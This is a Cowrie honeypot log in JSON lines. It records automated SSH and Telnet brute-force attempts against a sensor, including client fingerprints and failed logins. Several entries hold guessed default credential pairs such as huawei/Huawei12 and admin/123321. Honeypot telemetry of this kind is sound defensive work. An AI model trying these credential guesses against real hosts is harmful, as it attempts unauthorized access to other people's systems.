{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43518,"dst_ip":"10.17.0.5","dst_port":22,"session":"78e97847185a","protocol":"ssh","message":"New connection: 193.151.144.93:43518 (10.17.0.5:22) [session: 78e97847185a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:03.783853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:03.792330Z","src_ip":"193.151.144.93","session":"78e97847185a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:03.965647Z","src_ip":"193.151.144.93","session":"78e97847185a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:05.158811Z","src_ip":"193.151.144.93","session":"78e97847185a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:06.749043Z","src_ip":"193.151.144.93","session":"78e97847185a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43520,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c4e5306bce9","protocol":"ssh","message":"New connection: 193.151.144.93:43520 (10.17.0.5:22) [session: 5c4e5306bce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:09.180803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:09.186626Z","src_ip":"193.151.144.93","session":"5c4e5306bce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:09.357195Z","src_ip":"193.151.144.93","session":"5c4e5306bce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:09.867897Z","src_ip":"193.151.144.93","session":"5c4e5306bce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:11.041550Z","src_ip":"193.151.144.93","session":"5c4e5306bce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":49782,"dst_ip":"159.203.135.109","dst_port":22,"session":"c84a6ce597e6","protocol":"ssh","message":"New connection: 20.6.35.235:49782 (159.203.135.109:22) [session: c84a6ce597e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:12.749860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:13.060409Z","src_ip":"20.6.35.235","session":"c84a6ce597e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59312,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba1fed4cc9da","protocol":"ssh","message":"New connection: 193.151.144.93:59312 (10.17.0.5:22) [session: ba1fed4cc9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:14.675606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:14.686846Z","src_ip":"193.151.144.93","session":"ba1fed4cc9da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:14.853334Z","src_ip":"193.151.144.93","session":"ba1fed4cc9da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:15.353312Z","src_ip":"193.151.144.93","session":"ba1fed4cc9da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:15.828229Z","src_ip":"20.6.35.235","session":"c84a6ce597e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:16.543104Z","src_ip":"193.151.144.93","session":"ba1fed4cc9da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59314,"dst_ip":"10.17.0.5","dst_port":22,"session":"45acf237bbf2","protocol":"ssh","message":"New connection: 193.151.144.93:59314 (10.17.0.5:22) [session: 45acf237bbf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:20.083957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:20.090009Z","src_ip":"193.151.144.93","session":"45acf237bbf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:20.259686Z","src_ip":"193.151.144.93","session":"45acf237bbf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:20.765828Z","src_ip":"193.151.144.93","session":"45acf237bbf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59820,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3c2b9a3994e","protocol":"telnet","message":"New connection: 69.4.83.194:59820 (159.203.135.109:23) [session: b3c2b9a3994e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:22.280773Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:22.370740Z","src_ip":"193.151.144.93","session":"45acf237bbf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54244,"dst_ip":"10.17.0.5","dst_port":22,"session":"19273d5442c0","protocol":"ssh","message":"New connection: 193.151.144.93:54244 (10.17.0.5:22) [session: 19273d5442c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:25.665253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:25.671559Z","src_ip":"193.151.144.93","session":"19273d5442c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:25.847343Z","src_ip":"193.151.144.93","session":"19273d5442c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123321","message":"login attempt [admin/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:26.770402Z","src_ip":"20.6.35.235","session":"c84a6ce597e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:26.946310Z","src_ip":"193.151.144.93","session":"19273d5442c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:28.561697Z","src_ip":"193.151.144.93","session":"19273d5442c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":51156,"dst_ip":"10.17.0.5","dst_port":22,"session":"83de3189f1c7","protocol":"ssh","message":"New connection: 193.151.144.93:51156 (10.17.0.5:22) [session: 83de3189f1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:31.345455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:31.385626Z","src_ip":"193.151.144.93","session":"83de3189f1c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:31.525183Z","src_ip":"193.151.144.93","session":"83de3189f1c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:32.243649Z","src_ip":"193.151.144.93","session":"83de3189f1c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.9","message":"Connection lost after 19.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:32.614193Z","src_ip":"20.6.35.235","session":"c84a6ce597e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:33.424353Z","src_ip":"193.151.144.93","session":"83de3189f1c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":51158,"dst_ip":"10.17.0.5","dst_port":22,"session":"4efddf3b35d7","protocol":"ssh","message":"New connection: 193.151.144.93:51158 (10.17.0.5:22) [session: 4efddf3b35d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:37.358689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:37.363086Z","src_ip":"193.151.144.93","session":"4efddf3b35d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:37.530876Z","src_ip":"193.151.144.93","session":"4efddf3b35d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:38.033173Z","src_ip":"193.151.144.93","session":"4efddf3b35d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.93712282180786,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:38.372208Z","src_ip":"69.4.83.194","session":"ce530d432db6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:39.201267Z","src_ip":"193.151.144.93","session":"4efddf3b35d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35384,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ad325f432ea","protocol":"ssh","message":"New connection: 193.151.144.93:35384 (10.17.0.5:22) [session: 7ad325f432ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:42.950744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:42.955987Z","src_ip":"193.151.144.93","session":"7ad325f432ea","protocol":"ssh"}
